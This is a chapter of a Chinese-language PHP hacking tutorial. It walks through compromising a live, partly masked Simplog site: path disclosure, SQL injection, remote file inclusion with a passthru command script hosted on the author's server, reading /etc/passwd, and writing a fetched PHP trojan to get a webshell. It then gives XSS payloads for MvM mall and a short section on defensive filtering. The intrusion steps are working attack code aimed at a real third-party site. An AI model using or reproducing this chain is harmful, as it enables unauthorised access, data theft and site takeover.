11 PHP整站系统的安全性分析

 

 

11.1 Simplog系列漏洞分析
11.2 PHP系统常见防护措施及问题
----记对MvM mall V.3.5.0系统的分析结果

从本章你可以学到如下几点:
1.PHP系统中注射漏洞分析
2.远程执行命令漏洞的分析与利用
3.上传webshell技巧
4.跨站漏洞跟踪分析
5.PHP程序中常见漏洞防护

通过前面的学习,大家已经对PHP下的各种黑客技术及PHP代码漏洞分析都有一定的认识了。通过前面打下的基础,本章就带领大家分析完整的PHP系统。分析PHP系统漏洞的思路和ASP下是一样的,有了基础之后,分析最重要的还是思路。下面就是两个完整分析PHP系统漏洞的例子,大家要从中学到分析漏洞的经验。

 

 

 

11.1 Simplog系列漏洞分析 返回

      Simplog是一款简单易用的Blog程序,用PHP编写,兼容很多数据库,例如DB2FirebirdFrontBaseMS SQL ServerMySQLOracle等等。这个系统在全世界范围内使用的比较广泛,利用google搜索关键字“Powered by Simplog”就可以找出使用这个系统的网站了,如图11-1所示。

                   11-1 搜索使用Simplog系统的网站

    虽然在功能上它非常的强大,可以其安全性确有待提高。这个系统曾出现过多个安全漏洞,如在包含文件前没有正确验证“doc/index.php”中的“s”参数,导致可以包含任意外部或本地资源的文件;在SQL查询中使用之前没有正确过滤对“index.php”中“blogid”参数以及“archive.php”中“blogid”、“m”和“y”参数的输入,导致可以通过注入任意SQL代码操控SQL查询等等

对于这个系统的分析小天有非常深刻的研究。所以这里我就引用小天对Simplog系统安全分析的文章来向大家展示如何分析一个完整PHP系统的漏洞。这里我们用http://www.***olshed.net/simplog/index.php来作为测试目标。

 

漏洞一、暴露绝对路径

 

我们打开上面的网址,随便选择一篇文章阅读,会看到地址栏上的路径类似于http://www.***olshed.net/simplog/archive.php?blogid=1&pid=3这样的,该路径显示的是blogid1 pid3的文章;其中pid就是文章的序号,我们可以把pid3换成字母k,然后提交:http://www.***olshed.net/simplog/archive.php?blogid=1&pid=k就可以如图11-2所示,暴出绝对路径了,也可以直接提交http://www.***olshed.net/simplog/archive.php?blogid=A,如图11-3所示,或者干脆提交http://www.***olshed.net/simplog/archive.php都可以暴出绝对路径。

11-2 pidk暴出路径

11-3 提交blogidA也可以暴出路径

 

像这里我们暴出的路径就是:/home/pwood001/public_html/simplog/adodb/adodb-errorhandler.inc.php。但是只暴出路径好象也不算什么大漏子,也没有什么实在的利用价值,只能看些文件目录的层次信息,算一个鸡肋。

 

漏洞二、SQL注射漏洞分析

 

SQL风靡一时的今天,simplog也不例外的存在SQL注射漏洞,在其index.php中有这么一段代码如下:

<?

//----省略一些无关代码----

    $blogid = $_REQUEST['blogid'];

    if(!isset($blogid)) {

            $blogid = 1;

    }

    $blogInfo = new BlogInfo($blogid);

    include("header.php");

?>

 

archive.php文件中存在这样一段代码:

<?PHP

//----省略一些无关代码----

if(!isset($_REQUEST['blogid'])) {

       $sql = "select * from blog_list";

       $r = $db->Execute($sql);

       $blogid = $r->blog_id;

} else {

    $blogid = $_REQUEST['blogid'];

}

//----省略一些无关代码----

?>

看上面的两段代码,在index.phparchive.php这两个文件中,$blogid这个参数都是直接由$_REQUEST获得;大家查PHP手册可以知道:自动全局变量$_REQUEST包含$_POST,$_GET,$_COOKIE这三种取值方式。那我们就可以通过这三个方式提交$blogid,它没做任何的过滤就去查询了,所以在这里就出现了一个SQL注射漏洞,我们即可用UNION查询管理员帐号和密码了,但是这个系统的密码是MD5加密的,利用价值不大,我们先放一放。

 

漏洞三、远程执行命令漏洞

 

继续看还有没更容易利用的漏洞,在doc/index.php11-17行可以看到这样的代码:

<?php

 

       if(isset($_REQUEST['s'])) {

              include($_REQUEST['s'].".html");

       }

 

?>

大家可以看到$_REQUEST['s']这个值没有进行任何的过滤就加上了后缀.html,那我们就可以自己构造这个$_REQUEST['s']值,进而构造出恶意.html文件来利用了。在$_REQUEST的三种取值方式里,在这里随便使用一种就可以,我们选取最方便的$_GET,即直接提交我们构造的参数给s就可以利用了。

我们的思路是这样的:把执行命令的语句保存为HTML格式,放在我们自己的服务器上,在目标主机的allow_url_fopen = On的条件下(这个条件一般都是满足的),就可以请求我们构造的HTML文件来执行命令了。

首先我们写一段执行命令的脚本,语句和注释如下:

<?php

if (get_magic_quotes_gpc())

{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);}  //提取cmd的值

ini_set("max_execution_time",0);

echo "<br>I.S.T<br>";            //返回值的开始 为了区分返回值

passthru($_REQUEST["cmd"]);    //cmd的值用passthru来执行

echo "<br>I.S.T<br>";            //返回值的结束 为了区分返回值

?>

这段代码的意思就是:取得cmd的值,然后调用passthru来执行它。我们把这段代码保存为cmd.html(保存的文件名字随便,但是后缀一定得是.html),把它上传到我自己的服务器上,得到地址是:http://www.iceskysl.net/cmd.htmlOK!现在我们就可以来利用了。

我们提交shttp://www.iceskysl.net/cmd,则按照上面的代码执行,得到●$_REQUEST['s']http://www.iceskysl.net/cmd,然后加上后面的.html,就会去打开http://www.iceskysl.net/cmd.html这个文件了,我们再用cmd提交命令参数就可以执行该命令了。例如我们想查看目标主机名,则在*UNIX下使用hostname命令,所以提交cmdhostname,则完整的路径就是:http://www.***olshed.net/simplog/doc/index.php?cmd=hostname&s=http://www.iceskysl.net/cmd,可以看到图11-4的返回的结果显示其主机名为twx3.tdmwebx.com

11-4 查看目标主机名

按照这样的方式我们可以执行很多的命令来获得更多的信息,我们尝试着来看看能不能看到etc/passwd的值,和上面的原理一样,修改cmd值为cat ect/passwd,提交如下地址http://www.***olshed.net/simplog/doc/index.php?cmd=cat%20/etc/passwd&s=http://www.iceskysl.net/cmd就可以看到你顺利显示了ect/passwd的值,如图11-5

11-5显示ect/passwd的信息

在上面得到的是/etc/passwd信息中可以得到帐号,但是其密码是系统加密后放在/etc/shadow中的,只有超级用户才能查看,我尝试执行cat /etc/shadow没有成功,到这里我们有个思路就是用流光之类的工具提取上面显示的帐号进行暴破,如果能找到几个弱口令就能TelnetSSH上去就能得到SHELL了,我机子配置不行,也懒得去跑,再换思路!

 

漏洞四、上传WEBSHELL

 

     上面我们可以得到帐号信息,但是苦于没有密码还是没办法登陆上去,又不想去跑密码,我们就可以按照上面的思路来想问题了,我们可以构造一个写文件的“HTML”文件读我们的木马了,然后写到目标主机上,就可以得到webshell了,说干就干!如下构造语句:

<?

$f=file_get_contents("http://www.iceskysl.net/1stphp.txt");

$ff=fopen("../doc/pp.php","a");

fwrite ($ff,$f);

fclose($ff);

?>

解释一下,1stphp.txt是我的一个PHP木马文件,也放在我服务器上,地址是:http://www.iceskysl.net/1stphp.txt,先用file_get_contents其做连接,然后建立一个pp.php的文件,并把上面取得的内容写进去,最后关闭连接。

把这个文件保存为creatfile.html,然后上传到我自己的服务器上,得到地址是:http://www.iceskysl.net/creatfile.html,然后我们就提交shttp://www.iceskysl.net/creatfile提交得到下图11-6的信息。

11-6 提交creatfile后返回信息

    看到返回的信息是:

Warning: fopen(../doc/pp.php): failed to open stream: Permission denied in http://www.iceskysl.net/creatfile.html on line 3

看来我们请求的doc目录是不可写操作,我们的马就写不进去,怎么突破?只能找能写的目录或者文件,幸好我们上面可以执行命令,那我们就可以提交cmdls la来查看文件和目录的属性,于是提交:

http://www.***olshed.net/simplog/doc/index.php?cmd=ls%20-la&s=http://www.iceskysl.net/cmd,返回图11-7,这个就是doc文件夹下的所有文件和目录以及其各自属性。

11-7 提交ls la查看文件和目录属性

怎么知道哪个目录或文件允许写操作呢?这就涉及到*UNIX的基本知识了:

UNIX下的文件的属性是用读(r)、写(w)、执行(x)来表示的,分为3组,分别代表rootonwereveryone。所以我们需要找的是rwxrwxrwx这样的属性,你可以点右键选取查看源代码,在里面搜索有没这个字符串,我用的FireFox浏览器,该浏览器具有在当前网页内搜索的功能,直接搜索rwxrwxrwx就能看到有这样的目录或文件了。

上面我们没有发现,用../跳转查看其他目录下的文件和目录,当我提交:

http://www.***olshed.net/simplog/doc/index.php?cmd=ls%20-la%20../../&s=http://www.iceskysl.net/cmd时返回图11-8所示。

11-8 提交ls la ../../的返回结果

 

在上面我们看到有两个目录myblogphpBB2的属性如下:

drwxrwxrwx 15 pwood001 pwood001 4096 Apr 12 16:18 myblog

drwxrwxrwx 11 pwood001 pwood001 4096 Apr 13 09:07 phpBB2

前面的d说明是目录,其属性是允许任何人读、写、执行的,找到了好办了,我们就在phpBB2这个目录里写木马。

修改上面的那个creatfile.html内容为:

<?

$f=file_get_contents("http://www.iceskysl.net/1stphp.txt");

$ff=fopen("../../phpBB2/ist.php","a"); //主要是改这里的路径

fwrite ($ff,$f);

fclose($ff);

?>

就是修改上面写入木马的路径为phpBB2下就可以了,修改好后重新上传到我自己的服务器上,地址还是前面说的那个,接着依然提交:

http://www.***olshed.net/simplog/doc/index.php?s=http://www.iceskysl.net/creatfile,返回如图11-9所示。

11-9修改creatfile后重新提交

 

看到图11-9没有,像图11-6一样返回错误,不晓得成功了没,要是成功就会按照creatfile.html语句写一个ist.php的木马到phpBB2的目录下,于是提交

http://www.***olshed.net/simplog/doc/index.php?cmd=ls%20-la%20../../phpBB2&s=http://www.iceskysl.net/cmd ist.php是不是存在了,得到图11-10所示。

 

11-10提交ls ls ../../phpBB2查看是否生成ist.php

在图11-10中看到存在了ist.php,那我们就可以直接请求它的路径http://www.***olshed.net/phpBB2/ist.php,得到Webshell了,如下图11-11

 

11-11 得到WebShell

 

 

 

后记:

本文是我测试时的一个完整思路,按照我的思路一步接着一步,后来写完了回头重新测试了一下,发现自己比较大意,没有发现Simplogcache目录也是可写的,大家利用时可直接在这个目录里写WebShell,其实仔细想想也是,cache是随时都可能生成的,肯定需要写权限啦,害我还绕到更上层的phpBB2目录写WebShell,不过也不亏,至少提醒我下次要更细心,也告诉了你:遇到障碍时,想别的办法突破,千万别在一棵树上吊死!

 

 

 

11.2 PHP系统常见防护措施及问题

             -------记对MvM mall V.3.5.0系统的分析结果 返回

     前面,我们已经多次详细讲解PHP下的各种漏洞代码,上一节也分析了Simplog系统的漏洞。可能有人会觉得这样分析漏洞很简单嘛,实际上并非如此。现在越来越多的程序员认识到了这些攻击的危害性,所以如今大部分系统都对参数进行了相应的处理。所以目前要找到一个完全没有过滤参数的系统基本上是很难了。

所以,目前要找一个系统中的漏洞完全是从大量的参数中筛选出少数没过滤的变量来,要找这些少数的参数就要求我们在分析代码的时候要非常的仔细和认真。同时我们还要了解一些程序员是如何防范这些漏洞的产生,争取做到攻防兼备。本节我通过分析MvM mall V.3.5.0系统来为大家介绍在PHP系统中常见的防护措施,并从中找出程序员的一些大意或者失误的问题,使得我们仍然能够继续攻击。

MvM mall是一套基于PHP+MYSQL的商务系统,目前最新版本是V.3.5.0,经过几次的升级,目前安全性是比较高了。基本上不存在了注入、文件包含之类比较明显的漏洞了。不过虽然已经过滤的比较严格了,但还是有一些地方做的不够完善,导致出现了一些跨站漏洞。下面就来仔细谈谈这个系统的跨站漏洞及防护措施。

先还是来谈谈跨站漏洞,本来这个系统大部分可以输入数据的地方都过滤的比较干净了,可能是由于程序员的疏忽,使得跨站漏洞重现了。有两处地方出现了跨站漏洞,一是发生在修改个人注册资料文件中,另一个是在留言文件中。

 

我们在注册一个会员后还可以修改我们注册时的资料,修改资料的界面如图11-12所示。

                 11-12 修改注册资料

问题就出在了姓名、联系地址、自我介绍三个地方,这三个变量在客户端中的变量名为:

名:<input name="name" type="text" class="gray_input" size="23" value="haha">

</td>

联系地址:<input name="address1" type="text" value="haha" class="gray_input" size="50" maxlength="100"> 此地址用于邮寄奖品或信件 </td>

</tr>

<tr>

...........省略代码

<td class="mem_frm">

自我介绍:<textarea class="textarea" rows="10" name="intro" cols="70">haha</textarea></td>

</tr>

     从中可以得到姓名的变量名为name、联系地址变量名为address1、自我介绍变量名为textarea。我们在来看看在服务端这些数据是如何被放入到数据库中的,如下代码:

$query = " update $morning_member_table set

                      member_pass         = '$insert_pass',   //密码

                      member_name         = '$name',         //姓名

                      member_sex          = '$sex',

                      member_birthday     = '$birthday',  

                      member_tel1         = '$tel1',

                      member_tel2         = '$tel2',

                      member_email        = '$email',    //电子邮件

                      member_zip          = '$zip',

                      member_address      = '$address1',       //联系地址

                      member_homepage     = '$homepage',    //主页

                      member_automail     = '$automail',

                      member_recommend    = '$recommend',

                      member_interest     = '$textarea',   //   自我介绍

                      member_hobby        = '$hobby',

                      member_religion     = '$religion',

                      member_blood        = '$bloodtype',

                      member_job          = '$job',

                      member_jobname1     = '$jobname1',

                      member_jobname2     = '$jobname2',

                      member_tel4         = '$tel4',

                      member_jobzip       = '$jobzip',

                      member_jobaddress   = '$address2',

                      member_marriage     = '$marriage',

                      member_marriageday  = '$marriageday',

                      member_introduction = '$intro',

                      member_main         = '$main',

                      member_image        = '$member_file_text',

                      modify_id           = '$g_check_id',

                      modify_ip           = '$g_user_ip',

                      modify_date         = '$g_now_time'

                      where member_id = '$g_check_id'";

    morning_query_error($query);

error_msg("$lang_member_modify_ok","logout.php?url=m_login.php");

exit;

}

     上面更新的数据很多,有一些是隐藏的,我们只需要注意我们注释的变量即可。可能大家对以member开头的变量有一些不明白,开始我也是一样的。不过后来看到文件m_member_modify.php中的一小段代码,如下所示:

if(is_dir("$g_mall_skin_dir/$cf_skin_name"))

{ include "$g_mall_skin_dir/$cf_skin_name/mall_member_modify.html";

} else { include "$g_mall_skin_dir/default/mall_member_modify.html"; }

即修改页面是由mall_member_modify.html在客户端显示,打开这个文件,如图11-13所示。

                11-13 变量的值

可以发现name的值为$list[member_name],详细的代码如下:

名:

<input name="name" type="text" class="gray_input" size="23" value="<?=$list[member_name]?>">

................省略代码

联系地址:

<input name="address1" type="text" value="<?=$list[member_address]?>" class="gray_input" size="50" maxlength="100"> 此地址用于邮寄奖品或信件 </td>

.............省略代码

<td class="mem_frm">身份证号码:<font color="#FF6600">*</font></td>

<td class="mem_frm2"><?=$jumin1?>******************</td>

</tr>

<tr>

...............省略代码

自我介绍:

<td class="mem_frm2"><textarea class="textarea" rows="10" name="intro" cols="70"><?=$list[member_introduction]?></textarea>

这下就可以知道name的值为member_nameaddress1的值为member_addresstextarea的值为member_introduction,当我们输入数据之后,数据被赋值给这些变量。

这下我们就可以看懂在服务端的数据更新操作代码了吧,他们这些变量都是没有经过任何处理就进行更新操作了,即产生了跨站漏洞。我们分别在姓名、联系地址、自我介绍都输入跨站代码,不过在联系地址直接输入会被封闭,所以要输入"><script>alert("联系地址跨站")</script><"即可跨站,如图11-14所示。

            11-14 联系地址跨站

而自我介绍处输入</textarea></td><script>alert("自我介绍跨站")</script><td><textarea>就可以实现跨站了,如图11-15所示。

         11-15 自我介绍跨站

姓名则是输入"><script>alert("cmd")</script>就可实现跨站了,而且由于在我们登陆后的每一个页面都会显示姓名,所以我们每一个页面都会发生跨站,如图11-16所示。

          11-16 姓名跨站

该系统还有一个地方存在跨站漏洞,就是留言版(评论),和上面的修改个人资料一样,没有经过任何的过滤,而且处理代码也是一样。只是把update改成了insert语句,存在跨站漏洞也就自然了,如图11-1711-18所示。

       11-7 输入跨站代码

          11-8 发生跨站

     对于上述的跨站漏洞还算比较明显,不过要从众多的代码中分析出漏洞也比较费劲。我们只需要把这些变量用htmlspecialchars()函数转换一下即可防御。

要从更为安全的系统中找出漏洞,则更加要仔细了,找出每一个变量的去处。上面我们说的漏洞都是没有经过任何的检测和过滤的而导致的,那么在实际的编程过程中,我们又该如何进行检查过滤呢?我以MvM mall V.3.5.0系统中的代码来简单介绍一些PHP下的防护措施,有了对这些防御上的了解,那么在攻击的过程中就会有更加深刻的认识。

PHP下,对于数字型的参数,只需要用函数intval()把参数强制性转换成数字即可彻底防御数字型注入漏洞。而对于字符型注入则稍微麻烦一些,我以MvM mall V.3.5.0中的搜索代码来举例:

if($ps_sele and $ps_ques) {

    if($search_sql) $search_sql = $search_sql." and ";

 

if($ps_sele == "subject")      { $search_sql .= " board_subject like '%$ps_ques%' "; }

         //主题搜索,变量名为$ps_ques

elseif($ps_sele == "content")  { $search_sql .= " board_body like '%$ps_ques%' "; }

      //正文搜索,变量名为$ps_ques

    elseif($ps_sele == "name")     { $search_sql .= " board_name like '%$ps_ques%' "; }

elseif($ps_sele == "sub_plus") { $search_sql .=  " board_subject like '%$ps_ques%' and board_body like '%$ps_ques%' "; }

系统对搜索提供了几种搜索的功能,如主题、正文、名字等等。在客户端中输入的变量名为ps_ques,在该变量进入查询之前变量ps_quesfunc.php文件escape_string函数中进行了过滤,如图11-9所示。

      在跟着escape_string()函数进去,看这个函数是如何处理的参数的,代码如下:

//################################################################################

// SQL Injection

//################################################################################

function escape_string($str) {    //获取的参数$str

   if(!$str) return;         //如果参数为空,就返回

   //$str = nl2br($str);

   if(version_compare(phpversion(),"4.3.0")=="-1") {  //判断当前PHP的版本

     $str = mysql_escape_string($str);   //利用函数mysql_escape_string对参数进行转换

   } else {

        $str = mysql_escape_string($str); 

 //   mysql_escape_stringaddslashes函数的功能是一样的

        //$str = addslashes($str);

   }

   return $str;  //返回经过过滤的参数

}

上面的代码首先判断是否存在变量,如果存在就判断当前PHP版本,并用mysql_escape_string函数转换参数值,然后返回经过过滤了的参数。如果参数不存在则就直接返回。经过我的分析发现MvM mall V.3.5.0中的数字型参数都用intval()函数转换了,而字符型则全部转换了。

PHP下还有一个非常大的漏洞就是文件包含,原理就不在重复了。其实对于要包含进来的文件,只需要使用is_dir()函数先判断一下包含文件路径是否存在即可断绝文件包含漏洞的产生,例如MvM mall V.3.5.0系统的首页index.php的代码如下所示:

if(is_dir("$cf_skin_name"))    

//利用is_dir()判断$cf_skin_name路径是否存在

{ include "$cf_skin_name/mall_main.html";

//如果存在,则包含进来

} else { include "default/mall_main.html"; }

   //如果不存在,则包含已经设定的目录

include "m_bottom.php";

morning_close($connect);

exit;

?>

上面简单的介绍了一下在PHP程序中如何防御漏洞的发生,不管你是程序员还是想找漏洞的黑客都应该对防御有着深刻的认识。例如,黑客在知道如何防御后,那么在分析代码的时候就可以针对性的去寻找那些没有防御的变量,则分析代码的效率就会大大得到提高。学黑客技术不仅仅是学攻击,防御也是同等的重要,只要做到了攻防兼备的人才算是一名优秀的黑客。对PHP整站系统的漏洞分析到这里也就结束了,希望大家能够从中去总结,通过总结领会一些技巧和经验。

 

 

声明:非常的感谢小天对Simplog系统漏洞分析的文章,这篇文章非常的优秀,且有代表性。